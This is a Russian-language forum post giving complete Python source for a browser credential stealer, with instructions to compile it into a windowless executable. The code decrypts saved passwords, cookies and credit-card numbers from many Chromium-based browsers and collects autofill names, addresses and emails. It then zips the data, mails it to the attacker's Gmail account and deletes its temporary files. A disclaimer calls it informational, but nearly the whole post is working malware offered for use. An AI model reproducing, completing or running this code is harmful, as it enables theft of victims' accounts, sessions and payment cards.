Загрузка...

Password ******* with email

Thread in Python created by xDlietome Oct 21, 2019. (bumped Oct 21, 2019) 1172 views

  1. xDlietome
    xDlietome Topic starter Oct 21, 2019 C:\404 LV 21 Sep 24, 2017
    Данный ******* ворует догины и пароли, только с Хромиум подобных браузеров!
    Для написания потребуется Python 3+ версии | Скачать
    Для компиляции:
    pyinstaller --onefile --icon=вашаИконка.ico --noconsole xpom.py
    Установа pyinstaller
    pip install pyinstaller
    Автор и создатели данного сайта не несут никакой ответственности за использование ресурсов доступных в этой статье.
    Вся информация дана исключительно в информационных целях.
    Начинаем кодить:
    Создаем файл dpapi.py
    Code
    import os
    

    
from ctypes.wintypes import *
    
from ctypes import *
    
 
    
 
    
LPTSTR = LPSTR
    
LPCTSTR = LPSTR
    
PHANDLE = POINTER(HANDLE)
    
HANDLE = LPVOID
    
LPDWORD = POINTER(DWORD)
    
PVOID = c_void_p
    
INVALID_HANDLE_VALUE = c_void_p(-1).value
    
NTSTATUS = ULONG()
    
PWSTR = c_wchar_p
    
LPWSTR = c_wchar_p
    
PBYTE = POINTER(BYTE)
    
LPBYTE = POINTER(BYTE)
    
PSID = PVOID
    
LONG = c_long
    
WORD = c_uint16
    
CRYPTPROTECT_UI_FORBIDDEN = 0x01
    
CRED_TYPE_GENERIC = 0x1
    
CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4
    
HKEY_CURRENT_USER = -2147483647
    
HKEY_LOCAL_MACHINE = -2147483646
    
KEY_READ = 131097
    
KEY_ENUMERATE_SUB_KEYS = 8
    
KEY_QUERY_VALUE = 1
    
ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE
    
PROCESS_QUERY_INFORMATION = 0x0400
    
STANDARD_RIGHTS_REQUIRED = 0x000F0000
    
READ_CONTROL = 0x00020000
    
STANDARD_RIGHTS_READ = READ_CONTROL
    
TOKEN_ASSIGN_PRIMARY = 0x0001
    
TOKEN_DUPLICATE = 0x0002
    
TOKEN_IMPERSONATE = 0x0004
    
TOKEN_QUERY = 0x0008
    
TOKEN_QUERY_SOURCE = 0x0010
    
TOKEN_ADJUST_PRIVILEGES = 0x0020
    
TOKEN_ADJUST_GROUPS = 0x0040
    
TOKEN_ADJUST_DEFAULT = 0x0080
    
TOKEN_ADJUST_SESSIONID = 0x0100
    
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
    
tokenprivs = (TOKEN_QUERY | TOKEN_READ |
    
              TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE |
    
              TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY |
    
              (131072 | 4))
    
 
    
TOKEN_ALL_ACCESS = (
    
                    STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
    
                    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
    
                    TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
    
                    TOKEN_ADJUST_SESSIONID
    
                    )
    
 
    
 
    
class CREDENTIAL_ATTRIBUTE(Structure):
    
    _fields_ = [
    
        ('Keyword', LPSTR),
    
        ('Flags', DWORD),
    
        ('ValueSize', DWORD),
    
        ('Value', LPBYTE)
    
    ]
    
PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)
    
 
    
 
    
class CREDENTIAL(Structure):
    
    _fields_ = [
    
        ('Flags', DWORD),
    
        ('Type', DWORD),
    
        ('TargetName', LPSTR),
    
        ('Comment', LPSTR),
    
        ('LastWritten', FILETIME),
    
        ('CredentialBlobSize', DWORD),
    
        ('CredentialBlob', POINTER(c_char)),
    
        ('Persist', DWORD),
    
        ('AttributeCount', DWORD),
    
        ('Attributes', PCREDENTIAL_ATTRIBUTE),
    
        ('TargetAlias', LPSTR),
    
        ('UserName', LPSTR)
    
    ]
    
PCREDENTIAL = POINTER(CREDENTIAL)
    
 
    
 
    
class DATA_BLOB(Structure):
    
    _fields_ = [
    
        ('cbData', DWORD),
    
        ('pbData', POINTER(c_char))
    
    ]
    
 
    
 
    
class GUID(Structure):
    
    _fields_ = [
    
        ("data1", DWORD),
    
        ("data2", WORD),
    
        ("data3", WORD),
    
        ("data4", BYTE * 6)
    
    ]
    
LPGUID = POINTER(GUID)
    
 
    
 
    
class VAULT_CREDENTIAL_ATTRIBUTEW(Structure):
    
    _fields_ = [
    
        ('keyword', LPWSTR),
    
        ('flags', DWORD),
    
        ('badAlign', DWORD),
    
        ('valueSize', DWORD),
    
        ('value', LPBYTE),
    
    ]
    
PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)
    
 
    
 
    
class VAULT_BYTE_BUFFER(Structure):
    
    _fields_ = [
    
        ('length', DWORD),
    
        ('value', PBYTE),
    
    ]
    
 
    
 
    
class DATA(Structure):
    
    _fields_ = [
    
        ('guid', GUID),
    
        ('string', LPWSTR),
    
        ('byteArray', VAULT_BYTE_BUFFER),
    
        ('protectedArray', VAULT_BYTE_BUFFER),
    
        ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW),
    
        ('sid', DWORD)
    
    ]
    
 
    
 
    
class Flag(Structure):
    
    _fields_ = [
    
        ('0x00', DWORD),
    
        ('0x01', DWORD),
    
        ('0x02', DWORD),
    
        ('0x03', DWORD),
    
        ('0x04', DWORD),
    
        ('0x05', DWORD),
    
        ('0x06', DWORD),
    
        ('0x07', DWORD),
    
        ('0x08', DWORD),
    
        ('0x09', DWORD),
    
        ('0x0a', DWORD),
    
        ('0x0b', DWORD),
    
        ('0x0c', DWORD),
    
        ('0x0d', DWORD)
    
    ]
    
 
    
 
    
class VAULT_ITEM_DATA(Structure):
    
    _fields_ = [
    
        ('data', DATA),
    
    ]
    
PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)
    
 
    
 
    
class VAULT_ITEM_WIN8(Structure):
    
    _fields_ = [
    
        ('id', GUID),
    
        ('pName', PWSTR),
    
        ('pResource', PVAULT_ITEM_DATA),
    
        ('pUsername', PVAULT_ITEM_DATA),
    
        ('pPassword', PVAULT_ITEM_DATA),
    
        ('unknown0', PVAULT_ITEM_DATA),
    
        ('LastWritten', FILETIME),
    
        ('Flags', DWORD),
    
        ('cbProperties', DWORD),
    
        ('Properties', PVAULT_ITEM_DATA),
    
    ]
    
PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)
    
 
    
 
    
class OSVERSIONINFOEXW(Structure):
    
    _fields_ = [
    
        ('dwOSVersionInfoSize', c_ulong),
    
        ('dwMajorVersion', c_ulong),
    
        ('dwMinorVersion', c_ulong),
    
        ('dwBuildNumber', c_ulong),
    
        ('dwPlatformId', c_ulong),
    
        ('szCSDVersion', c_wchar*128),
    
        ('wServicePackMajor', c_ushort),
    
        ('wServicePackMinor', c_ushort),
    
        ('wSuiteMask', c_ushort),
    
        ('wProductType', c_byte),
    
        ('wReserved', c_byte)
    
    ]
    
 
    
 
    
class CRYPTPROTECT_PROMPTSTRUCT(Structure):
    
    _fields_ = [
    
        ('cbSize', DWORD),
    
        ('dwPromptFlags', DWORD),
    
        ('hwndApp', HWND),
    
        ('szPrompt', LPCWSTR),
    
    ]
    
PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
    
 
    
 
    
class LUID(Structure):
    
    _fields_ = [
    
        ("LowPart", DWORD),
    
        ("HighPart", LONG),
    
    ]
    
PLUID = POINTER(LUID)
    
 
    
 
    
class SID_AND_ATTRIBUTES(Structure):
    
    _fields_ = [
    
        ("Sid", PSID),
    
        ("Attributes", DWORD),
    
    ]
    
 
    
 
    
class TOKEN_USER(Structure):
    
    _fields_ = [
    
        ("User", SID_AND_ATTRIBUTES),]
    
 
    
 
    
class LUID_AND_ATTRIBUTES(Structure):
    
    _fields_ = [
    
        ("Luid", LUID),
    
        ("Attributes", DWORD),
    
    ]
    
 
    
 
    
class TOKEN_PRIVILEGES(Structure):
    
    _fields_ = [
    
        ("PrivilegeCount", DWORD),
    
        ("Privileges", LUID_AND_ATTRIBUTES),
    
    ]
    
PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
    
 
    
 
    
class SECURITY_ATTRIBUTES(Structure):
    
    _fields_ = [
    
        ("nLength", DWORD),
    
        ("lpSecurityDescriptor", LPVOID),
    
        ("bInheritHandle", BOOL),
    
    ]
    
PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
    
 
    
 
    
advapi32     = WinDLL('advapi32', use_last_error=True)
    
crypt32      = WinDLL('crypt32', use_last_error=True)
    
kernel32     = WinDLL('kernel32', use_last_error=True)
    
 
    
 
    
RevertToSelf = advapi32.RevertToSelf
    
RevertToSelf.restype = BOOL
    
RevertToSelf.argtypes = []
    
ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
    
ImpersonateLoggedOnUser.restype = BOOL
    
ImpersonateLoggedOnUser.argtypes = [HANDLE]
    
DuplicateTokenEx = advapi32.DuplicateTokenEx
    
DuplicateTokenEx.restype = BOOL
    
DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]
    
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
    
AdjustTokenPrivileges.restype = BOOL
    
AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]
    
LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA
    
LookupPrivilegeValueA.restype = BOOL
    
LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID]
    
ConvertSidToStringSidA = advapi32.ConvertSidToStringSidA
    
ConvertSidToStringSidA.restype = BOOL
    
ConvertSidToStringSidA.argtypes = [DWORD, POINTER(LPTSTR)]
    
LocalAlloc = kernel32.LocalAlloc
    
LocalAlloc.restype = HANDLE
    
LocalAlloc.argtypes = [PSID, DWORD]
    
GetTokenInformation = advapi32.GetTokenInformation
    
GetTokenInformation.restype = BOOL
    
GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]
    
OpenProcess = kernel32.OpenProcess
    
OpenProcess.restype = HANDLE
    
OpenProcess.argtypes = [DWORD, BOOL, DWORD]
    
OpenProcessToken = advapi32.OpenProcessToken
    
OpenProcessToken.restype = BOOL
    
OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]
    
CloseHandle = kernel32.CloseHandle
    
CloseHandle.restype = BOOL
    
CloseHandle.argtypes = [HANDLE]
    
CredEnumerate = advapi32.CredEnumerateA
    
CredEnumerate.restype = BOOL
    
CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]
    
CredFree = advapi32.CredFree
    
CredFree.restype = PVOID
    
CredFree.argtypes = [PVOID]
    
memcpy = cdll.msvcrt.memcpy
    
memcpy.restype = PVOID
    
memcpy.argtypes = [PVOID]
    
LocalFree = kernel32.LocalFree
    
LocalFree.restype = HANDLE
    
LocalFree.argtypes = [HANDLE]
    
CryptUnprotectData = crypt32.CryptUnprotectData
    
CryptUnprotectData.restype = BOOL
    
CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]
    
 
    
 
    
try:
    
    prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))
    
    vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli))
    
 
    
    prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)
    
    vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli))
    
 
    
    prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))
    
    vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli))
    
 
    
    prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN8))
    
    vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli))
    
 
    
    prototype = WINFUNCTYPE(ULONG, LPVOID)
    
    vaultFree = prototype(("VaultFree", windll.vaultcli))
    
 
    
    prototype = WINFUNCTYPE(ULONG, PHANDLE)
    
    vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli))
    
except:
    
    pass
    
 
    
 
    
def getData(blobOut):
    
    cbData = int(blobOut.cbData)
    
    pbData = blobOut.pbData
    
    buffer = c_buffer(cbData)
    
    
    
    memcpy(buffer, pbData, cbData)
    
    LocalFree(pbData);
    
    return buffer.raw
    
 
    
 
    
def isx64machine():
    
    archi = os.environ.get("PROCESSOR_ARCHITEW6432", '')
    
    if '64' in archi:
    
        return True
    
 
    
    archi = os.environ.get("PROCESSOR_ARCHITECTURE", '')
    
    if '64' in archi:
    
        return True
    
 
    
    return False
    
 
    
 
    
isx64 = isx64machine()
    
 
    
 
    
def OpenKey(key, path, index=0, access=KEY_READ):
    
    if isx64:
    
        return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)
    
    else:
    
        return winreg.OpenKey(key, path, index, access)
    
 
    
 
    
def Win32CryptUnprotectData(cipherText, entropy=None):
    
    bufferIn = c_buffer((cipherText), len(cipherText))
    
    blobIn = DATA_BLOB(len(cipherText), bufferIn)
    
    blobOut = DATA_BLOB()
    
 
    
    if entropy:
    
        bufferEntropy = c_buffer(entropy, len(entropy))
    
        blobEntropy = DATA_BLOB(len(entropy), bufferEntropy)
    
 
    
        if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):
    
            return (getData(blobOut))
    
        else:
    
            return (False)
    
    
    
    else:
    
        if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
    
            return (getData(blobOut))
    
        else:
    
            return (False)
    
Создаем файл helpers.py
    
Python:
    
import sys
    
import urllib.request
    
import os
    
import zipfile
    
 
    
import win32com.client
    
import requests
    
 
    
 
    
def zipdir(path, ziph):
    
    for root, dirs, files in os.walk(path):
    
        for file in files:
    
            ziph.write(os.path.join(root, file))
    
 
    
def get_os_version():
    
    os_version = OSVERSIONINFOEXW()
    
    os_version.dwOSVersionInfoSize = sizeof(os_version)
    
    retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
    
    if retcode != 0:
    
        return False
    
    return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
    
 
    
 
    
def checkurl(url):
    
    try:
    
        urllib.request.urlopen(url)
    
        return True
    
    except Exception as e:
    
        return False
    
 
    
 
    
def check_exists(file):
    
    if os.path.exists(file):
    
        return True
    
    else:
    
        return False
    
 
    
 
    
def lnktrgt(lnk):
    
    shell = win32com.client.Dispatch("WScript.Shell")
    
    shortcut = shell.CreateShortCut(lnk)
    
    return(shortcut.Targetpath)
    Создаем файл helpers.py
    Code
    import sys
    
import urllib.request
    
import os
    
import zipfile
    
 
    
import win32com.client
    
import requests
    
 
    
 
    
def zipdir(path, ziph):
    
    for root, dirs, files in os.walk(path):
    
        for file in files:
    
            ziph.write(os.path.join(root, file))
    
 
    
def get_os_version():
    
    os_version = OSVERSIONINFOEXW()
    
    os_version.dwOSVersionInfoSize = sizeof(os_version)
    
    retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
    
    if retcode != 0:
    
        return False
    
    return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
    
 
    
 
    
def checkurl(url):
    
    try:
    
        urllib.request.urlopen(url)
    
        return True
    
    except Exception as e:
    
        return False
    
 
    
 
    
def check_exists(file):
    
    if os.path.exists(file):
    
        return True
    
    else:
    
        return False
    
 
    
 
    
def lnktrgt(lnk):
    
    shell = win32com.client.Dispatch("WScript.Shell")
    
    shortcut = shell.CreateShortCut(lnk)
    
    return(shortcut.Targetpath)
    Создаем файл xpom.py
    Code
    import sqlite3, socket, smtplib, sys, os, winreg, zipfile, string, random, getpass, socket, shutil
    
from re import findall
    
from shutil import copy2
    
from helpers import *
    
from dpapi import Win32CryptUnprotectData
    
from email import encoders
    
from email.mime.base import MIMEBase
    
from email.mime.multipart import MIMEMultipart
    
 
    
#тут нужно именно джэмэйл, либо переписывайте 274 строку на ваш сервер
    
sender = 'ваш джэмэйл@gmail.com'
    
gmail_password = 'тупа пароль'
    
recipients = ['куда отправить@gmail.com']
    
 
    
COMMASPACE = ', '
    
 
    
#====================================#
    
#             переменные             #
    
#====================================#
    
 
    
 
    
pathusr = os.path.expanduser('~')
    
 
    
 
    
browser_chrome = {   
    
        'google_chrome': pathusr + "\\AppData\\Local\\Google\\Chrome\\User Data\\",
    
        'google_chromex86': pathusr + "\\AppData\\Local\\Google (x86)\\Chrome\\User Data\\",
    
        'vivaldi': pathusr + "\\AppData\\Local\\Vivaldi\\User Data\\",
    
        'opera': pathusr + "\\AppData\\Roaming\\Opera Software\\",
    
        'kometa': pathusr + "\\AppData\\Local\\Kometa\\User Data\\",
    
        'orbitum': pathusr + "\\AppData\\Local\\Orbitum\\User Data\\",
    
        'comodo_dragon': pathusr + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\",
    
        'amigo': pathusr + "\\AppData\\Local\\Amigo\\User\\User Data\\",
    
        'torch': pathusr + "\\AppData\\Local\\Torch\\User Data\\",
    
        'yandex': pathusr + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\",
    
        'comodo': pathusr + "\\AppData\\Local\\Comodo\\User Data\\",
    
        '360br': pathusr + "\\AppData\\Local\\360Browser\\Browser\\User Data\\",
    
        'maxtron': pathusr + "\\AppData\\Local\\Maxthon3\\User Data\\",
    
        'kmelon': pathusr + "\\AppData\\Local\\K-Melon\\User Data\\",
    
        'chromium': pathusr + "\\AppData\\Local\\Chromium\\User Data\\",
    
        'sputnik': pathusr + "\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\",
    
        'nichrome': pathusr + "\\AppData\\Local\\Nichrome\\User Data\\",
    
        'coccoc': pathusr + "\\AppData\\Local\\CocCoc\\Browser\\User Data\\",
    
        'uran': pathusr + "\\AppData\\Local\\Uran\\User Data\\",
    
        'chromodo': pathusr + "\\AppData\\Local\\Chromodo\\User Data\\",
    
                }
    
 
    
 
    
profiles_chrome = {
    
        'profile1': 'Profile 1\\',
    
        'profile2': 'Profile 2\\',
    
        'profile3': 'Profile 3\\',
    
        'default': 'Default\\',
    
        'opera': 'Opera Stable\\'
    
                }
    
 
    
 
    
db  = pathusr + "\\db1"
    
db2 = pathusr + "\\db2"
    
db3 = pathusr + "\\db3"
    
 
    
 
    
#====================================#
    
#               функции              #
    
#====================================#
    
 
    
 
    
def login_chrome(file):
    
    count = 0
    
    logindata = "============логины=============\r\n"
    
    copy2(file, db)
    
    con = sqlite3.connect(db)
    
    cursor = con.cursor()
    
    cursor.execute("SELECT origin_url, username_value, password_value from logins;")
    
    for origin_url, username_value, password_value in cursor.fetchall():
    
        password = Win32CryptUnprotectData(password_value).decode("utf-8")
    
        if password is not False:
    
            if origin_url is not '':
    
                logindata += 'САЙТ : ' + str(origin_url) + '\r\n'
    
            if username_value is not '':
    
                logindata += 'ЛОГ  : ' + str(username_value)  + '\r\n'
    
            if password_value is not '':
    
                logindata += 'ПАСС : ' + str(password) + '\r\n\r\n'
    
                count += 1
    
    return(count, logindata)
    
 
    
 
    
def cook_chrome(file):
    
    count = 0
    
    cookdata = "============печени=============\r\n"
    
    copy2(file, db2)
    
    con = sqlite3.connect(db2)
    
    cursor = con.cursor()
    
    cursor.execute("SELECT host_key, name, value, path, last_access_utc, encrypted_value \
    
        FROM cookies;")
    
    for host_key, name, value, path, last_access_utc, encrypted_value in cursor.fetchall():
    
        decrypted = Win32CryptUnprotectData(encrypted_value).decode("utf-8") or value or 0
    
        if decrypted is not False:
    
            cookdata += str(host_key) + "\tTRUE\t" + "/" + '\tFALSE\t' + str(last_access_utc) + '\t' + \
    
            str(name) + '\t' + str(decrypted) + '\n'
    
            count += 1
    
    return(count, cookdata)
    
 
    
 
    
def web_chrome(file):
    
    count = 0
    
    webdata = "============деньги=============\r\n"
    
    copy2(file, db3)
    
    con = sqlite3.connect(db3)
    
    cursor = con.cursor()
    
    cursor.execute("SELECT name_on_card, expiration_month, expiration_year,\
    
     card_number_encrypted, billing_address_id FROM credit_cards;")
    
    for name_on_card, expiration_month, expiration_year,\
    
    card_number_encrypted, billing_address_id in cursor.fetchall():
    
        decrypted = Win32CryptUnprotectData(card_number_encrypted).decode("utf-8")
    
        if decrypted is not False:
    
            if name_on_card is not '':
    
                webdata += 'ИМЯ КАРТХОЛДЕРА: ' + name_on_card + '\r\n'
    
            if expiration_month is not '':
    
                webdata += 'МЕСЯЦ: ' + expiration_month + '\r\n'
    
            if expiration_year is not '':
    
                webdata += 'ГОД: ' + expiration_year + '\r\n'
    
            if card_number_encrypted is not '':
    
                webdata += 'НОМЕР КАРТЫ: ' + decrypted + '\r\n'
    
            if billing_address_id is not '':
    
                webdata += 'БИЛЛИНГ: ' + billing_address_id + '\r\n\r\n'
    
 
    
 
    
    cursor.execute("SELECT guid, company_name, street_address,\
    
     dependent_locality, city, state, zipcode, sorting_code,\
    
     country_code, date_modified, origin, language_code,\
    
     use_count, use_date, validity_bitfield FROM autofill_profiles")
    
 
    
    for company_name, street_address,\
    
     dependent_locality, city, state, zipcode, sorting_code,\
    
     country_code, date_modified, origin, language_code,\
    
     use_count, use_date, validity_bitfield in cursor.fetchall():
    
        webdata += "============информ=============\r\n"
    
        if company_name is not '':
    
            webdata += company_name + '\r\n'
    
        if street_address is not '':
    
            webdata += street_address + '\r\n'
    
        if dependent_locality is not '':
    
            webdata += dependent_locality + '\r\n'
    
        if city is not '':
    
            webdata += city + '\r\n'
    
        if state is not '':
    
            webdata += state + '\r\n'
    
        if zipcode is not '':
    
            webdata += zipcode + '\r\n'
    
        if sorting_code is not '':
    
            webdata += sorting_code + '\r\n'
    
        if country_code is not '':
    
            webdata += country_code + '\r\n'
    
        if date_modified is not '':
    
            webdata += date_modified + '\r\n'
    
        if origin is not '':
    
            webdata += origin + '\r\n'
    
        if language_code is not '':
    
            webdata += language_code + '\r\n'
    
        if use_count is not '':
    
            webdata += use_count + '\r\n'
    
        if use_date is not '':
    
            webdata += use_date + '\r\n'
    
        if validity_bitfield is not '':
    
            webdata += validity_bitfield + '\r\n'
    
        if company_name is not '':
    
            count += 1
    
            webdata += '\r\n\r\n'
    
 
    
 
    
    cursor.execute("SELECT email FROM autofill_profile_emails")
    
    for email in cursor.fetchall():
    
        webdata += "============имейлы=============\r\n"
    
        if email is not '':
    
            webdata += email + '\r\n'
    
            count += 1
    
 
    
 
    
    cursor.execute("SELECT first_name, middle_name, last_name,\
    
     full_name FROM autofill_profile_names")
    
    for first_name, middle_name, last_name, full_name in cursor.fetchall():
    
        webdata += "============деанон=============\r\n"
    
        if first_name is not '':
    
            webdata += first_name + '\r\n'
    
        if middle_name is not '':
    
            webdata += middle_name + '\r\n'
    
        if last_name is not '':
    
            webdata += last_name + '\r\n'
    
        if full_name is not '':
    
            webdata += full_name + '\r\n'
    
            count += 1
    
 
    
    return(count, webdata)
    
 
    
def getXpom(savefolder):
    
    countpass, countcook, countdata = 0, 0, 0
    
    for browser_key, browser_folder in browser_chrome.items():
    
        if check_exists(browser_folder):
    
            for profile_key, profile_folder in profiles_chrome.items():
    
                if check_exists(browser_folder+profile_folder):
    
                    if check_exists(browser_folder+profile_folder+"\\Login Data"):
    
                        try:
    
                            countpass, logindata = login_chrome(browser_folder+profile_folder+"\\Login Data")
    
                            with open(savefolder + '\\' + browser_key+"_"+profile_key+'_logins.txt', "w")\
    
                             as file:
    
                                file.write(logindata)
    
                        except Exception as e:
    
                            countpass += 0
    
 
    
                    if check_exists(browser_folder+profile_folder+"\\Cookies"):
    
                        try:
    
                            countcook, cookdata = cook_chrome(browser_folder+profile_folder+"\\Cookies")
    
                            with open(savefolder + '\\' + browser_key+"_"+profile_key+'_cookie.txt', "w")\
    
                             as file:
    
                                file.write(cookdata)
    
                        except Exception as e:
    
                            countcook += 0
    
 
    
                    if check_exists(browser_folder+profile_folder+"\\Web Data"):
    
                        try:
    
                            countdata, webdata = web_chrome(browser_folder+profile_folder+"\\Web Data")
    
                            with open(savefolder + '\\' + browser_key+"_"+profile_key+'_ccdata.txt', "w")\
    
                             as file:
    
                                file.write(webdata)
    
                        except Exception as e:
    
                            countdata += 0
    
    
    
    return(countpass, countcook, countdata)
    
 
    
if __name__ == '__main__':
    
    name_0f_user = getpass.getuser()
    
    name_0f_pc = socket.gethostname()
    
 
    
    browsers = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Temp\\browsers" + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(15))
    
    if not check_exists(browsers):
    
        os.mkdir(browsers)
    
    getXpom(browsers)
    
    #print(browsers)
    
 
    
    TEMP_FILE = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Temp\\" + name_0f_user + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".zip"
    
    #print(TEMP_FILE)
    
    zipf = zipfile.ZipFile(TEMP_FILE, 'w', zipfile.ZIP_DEFLATED)
    
    zipdir(browsers, zipf)
    
    zipf.close()
    
    
    
    # Create the enclosing (outer) message
    
    outer = MIMEMultipart()
    
    outer['Subject'] = 'Stiller {} {}'.format(name_0f_user, name_0f_pc)
    
    outer['To'] = COMMASPACE.join(recipients)
    
    outer['From'] = sender
    
    outer.preamble = 'You will not see this in a MIME-aware mail reader.\n'
    
    
    
    # List of attachments
    
    attachments = [TEMP_FILE]
    
    
    
    # Add the attachments to the message
    
    for file in attachments:
    
        try:
    
            with open(file, 'rb') as fp:
    
                msg = MIMEBase('application', "octet-stream")
    
                msg.set_payload(fp.read())
    
            encoders.encode_base64(msg)
    
            msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))
    
            outer.attach(msg)
    
        except:
    
            print("Unable to open one of the attachments. Error: ", sys.exc_info()[0])
    
            raise
    
    
    
    composed = outer.as_string()
    
    
    
    # Send the email
    
    try:
    
        with smtplib.SMTP('smtp.gmail.com', 587) as s:
    
            s.ehlo()
    
            s.starttls()
    
            s.ehlo()
    
            s.login(sender, gmail_password)
    
            s.sendmail(sender, recipients, composed)
    
            s.close()
    
        print("Email sent!")
    
    except:
    
        print("Unable to send the email. Error: ", sys.exc_info()[0])
    
        raise
    
 
    
    try:
    
        os.remove(TEMP_FILE)
    
        shutil.rmtree(browsers)
    
    except OSError:
    
        pass
     
    Oct 21, 2019
Loading...
Top